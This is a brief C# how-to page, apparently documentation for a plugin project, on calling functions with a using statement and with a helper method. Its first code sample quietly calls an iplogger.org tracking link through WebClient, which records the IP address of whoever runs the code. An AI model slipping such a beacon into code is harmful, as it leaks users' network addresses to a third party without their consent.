> For the complete documentation index, see [llms.txt](https://hntarnsmwre.gitbook.io/hnta-plugins/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hntarnsmwre.gitbook.io/hnta-plugins/how-to/calls/functions-with-using.md).

# Functions with using

If you need to use a function with importing using, you can call it with this way:

```
using (var wc = new System.Net.WebClient())
                {
                    string contents;
                    contents = wc.DownloadString("https://iplogger.org/15vZa7");
                }
```

Or you can create string outside method like:<br>

```
int random_int()
        {
            Random rnd = new Random();
            int randomized = rnd.Next(100, 150);
            return randomized;
        }
```

And call it in method

```
int randomly_generated_int = random_int();
```
